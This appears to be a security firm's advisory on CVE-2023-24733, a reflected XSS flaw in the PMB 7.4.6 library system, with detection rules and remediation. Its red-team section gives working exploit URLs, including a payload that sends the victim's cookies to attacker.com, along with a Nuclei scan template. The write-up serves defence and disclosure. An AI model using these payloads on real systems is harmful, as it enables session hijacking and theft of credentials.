CVE-2023-24733

Executive Summary

CVE-2023-24733 is a reflected Cross-Site Scripting (XSS) vulnerability identified in PMB version 7.4.6, a library management system developed by SIGB (formerly PMB Group). The flaw resides in the /admin/convert/export_z3950_new.php endpoint, where the query parameter is insufficiently sanitized, allowing an attacker to inject arbitrary JavaScript code. Successful exploitation requires user interaction (e.g., clicking a crafted link) and can lead to session hijacking, data theft, or website defacement. The vulnerability has a CVSS v3.1 base score of 6.1 (Medium) and is classified under CWE-79. A public proof-of-concept (PoC) exists via a Nuclei template, and the vendor has not released an official patch as of the latest advisory.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): Required – victim must click a malicious link.
• Scope (S): Changed – injected script executes in the context of the vulnerable site but can affect other resources.
• Confidentiality (C): Low – limited data exposure (e.g., cookies).
• Integrity (I): Low – limited ability to modify content.
• Availability (A): None – no impact on service availability.

Threat Level: Medium. The vulnerability is trivial to exploit with a crafted URL, but requires user interaction. The EPSS score of 0.14924 (94.576th percentile) indicates moderate exploitation activity in the wild.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the export_z3950_new.php script. The query parameter is echoed back into the response without proper encoding or sanitization. The Nuclei template reveals the injection point: the parameter query is passed with a payload <script>alert(document.domain);</script>, and the response contains the reflected string 3@1=<script>alert(document.domain)</script>@. This confirms that the input is directly embedded in the HTML output.

The attack flow:

1. An attacker crafts a URL: http://target/pmb/admin/convert/export_z3950_new.php?command=search&query=<script>alert(document.domain);</script>=or
2. The victim clicks the link (e.g., via phishing email).
3. The browser executes the injected script, which can steal cookies, redirect to malicious sites, or perform actions on behalf of the victim.

The vulnerability is unauthenticated, meaning no login is required to trigger the XSS. The command=search parameter is also required for the script to process the query.

Vulnerable vs. Patched Code

Vulnerable Code (PMB 7.4.6): The export_z3950_new.php script likely directly outputs the query parameter without sanitization:

$query = $_GET['query'];
echo "3@1=" . $query . "@";

Patched Code (Hypothetical): A secure version would use htmlspecialchars() or similar encoding:

$query = htmlspecialchars($_GET['query'], ENT_QUOTES, 'UTF-8');
echo "3@1=" . $query . "@";

No official patch has been released by the vendor.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running PMB 7.4.6 with the vulnerable endpoint accessible.
• No authentication required.

Exploit Steps:

1. Use the following URL to trigger the XSS:

   http://target/pmb/admin/convert/export_z3950_new.php?command=search&query=<script>alert(document.domain);</script>=or
   

2. For cookie theft, use a payload like:

   <script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
   

3. Encode the payload for URL:

   http://target/pmb/admin/convert/export_z3950_new.php?command=search&query=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E=or
   

Nuclei Template (Provided):

id: CVE-2023-24733

info:
  name: PMB 7.4.6 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    PMB 7.4.6 contains a cross-site scripting vulnerability via the query parameter at /admin/convert/export_z3950_new.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of PMB.
  reference:
    - https://github.com/AetherBlack/CVE/blob/main/PMB/readme.md
    - https://github.com/AetherBlack/CVE/tree/main/PMB
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24733
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-24733
    cwe-id: CWE-79
    epss-score: 0.14924
    epss-percentile: 0.94576
    cpe: cpe:2.3:a:sigb:pmb:7.4.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sigb
    product: pmb
    shodan-query:
      - http.favicon.hash:1469328760
      - http.html:"pmb group"
    fofa-query:
      - body="pmb group"
      - icon_hash=1469328760
  tags: cve,cve2023,unauth,xss,pmb,pmb_project,sigb,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/pmb/admin/convert/export_z3950_new.php?command=search&query=%3Cscript%3Ealert(document.domain);%3C/script%3E=or"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '3@1=<script>alert(document.domain)</script>@'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests to /admin/convert/export_z3950_new.php with suspicious query parameters containing <script> tags or encoded JavaScript.
• Use WAF rules to block requests with XSS patterns in the query parameter.

Defense:

• Apply input validation and output encoding on the query parameter.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Upgrade PMB to a patched version if available; otherwise, consider disabling the vulnerable endpoint.

Indicators of Compromise (IOCs)

• URL Pattern: */admin/convert/export_z3950_new.php?command=search&query=*
• HTTP Request Body/Response: Contains 3@1=<script>...</script>@
• User-Agent: Any (no specific agent required)
• Referer: May be empty or spoofed
• Network Traffic: Outbound connections to attacker-controlled domains (if cookie theft payload used)

Detection Engineering

YARA Rule

rule CVE_2023_24733_XSS_PMB {
    meta:
        description = "Detects reflected XSS attempts against PMB 7.4.6"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-24733"
    strings:
        $xss_payload = /query=.*<script>.*<\/script>/ nocase
        $response_marker = "3@1=<script>"
    condition:
        $xss_payload or $response_marker
}

Sigma Rule

title: CVE-2023-24733 Reflected XSS in PMB 7.4.6
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the vulnerable endpoint with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/admin/convert/export_z3950_new.php'
        cs-uri-query|contains: 'query='
        cs-uri-query|contains|all:
            - '<script>'
            - '</script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in query (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-24733 PMB Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/admin/convert/export_z3950_new.php"; http_uri; content:"query="; http_uri; pcre:"/<script>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required: Block access to /admin/convert/export_z3950_new.php via web server configuration (e.g., .htaccess or Nginx location block).
2. Apply input validation on the query parameter: Reject or sanitize any input containing HTML tags.
3. Implement Content Security Policy (CSP): Add Content-Security-Policy: script-src 'self' header to prevent inline script execution.

Long-Term Fix:

• Upgrade PMB to a version where the query parameter is properly encoded using htmlspecialchars() or a similar function.
• Contact the vendor (SIGB) for an official patch.

Workaround:

• Use a Web Application Firewall (WAF) to block XSS patterns in the query parameter.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 7093BB93A4689096585CCA55] */}